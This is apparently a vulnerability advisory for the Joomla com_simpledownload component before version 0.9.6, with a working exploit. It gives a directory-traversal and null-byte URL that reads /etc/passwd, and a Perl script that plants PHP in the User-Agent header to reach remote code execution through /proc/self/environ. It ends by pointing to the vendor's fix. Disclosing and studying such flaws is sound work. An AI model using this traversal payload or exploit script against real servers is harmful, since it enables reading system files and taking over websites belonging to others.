--[Description]-- A vulnerability has been found in the downloader component for Joomla. It can be exploited in various ways - from sensitive information disclosure to remote code execution. Input passed to controller is not properly sanitized, allowing attacker to inject php code via Local File Inclusion combined with Directory Traversal (/proc/self/environ method) and Null Byte Injection, leading to Remote Code Execution. --[Vendor]-- http://joomla.joelrowley.com/ --[Vulnerable Version]-- com_simpledownload <0.9.6 --[Impact]-- Local File Inclusion Directory Traversal Remote Code Execution --[LFI Exploit]-- /index2.php?option=com_simpledownload&controller=[LFI]%00 --[LFI PoC]-- /index2.php?option=com_simpledownload&controller= ./../../../../../../../etc/passwd%00 --[RCE PoC]-- #!/usr/bin/perl -w # quick'n'dirty PoC for RCE # com_simpledownload <0.9.6 # by <sm0q> # usage eg.: # $./expl.pl -h localhost \ # -c "<?php passthru('uname -a > uname.txt'); ?>" use LWP::UserAgent; use Getopt::Std; my %o=(); getopts("c:h:",\%o); die "Usage: $0 -h target_host -c command\n" if ! (defined $o{h} && defined $o{c}); $o{h} =~ s/(http:\/\/)?(.*)/http:\/\/$2/; my $url="/index2.php?option=com_simpledownload&controller=../../../../../.. /../../../../../../../../../../../proc/self/environ%00"; my $lwp = LWP::UserAgent->new; print $lwp->get($o{h}.$url, 'User-Agent'=>"$o{c}")->decoded_content; --[Solution]-- Thanks to quick response from Joel Rowley fix released in version 0.9.6 - upgrade as soon as possible from: http://extensions.joomla.org/extensions/directory-a-documentation/downlo ads/10717 --[EOF]--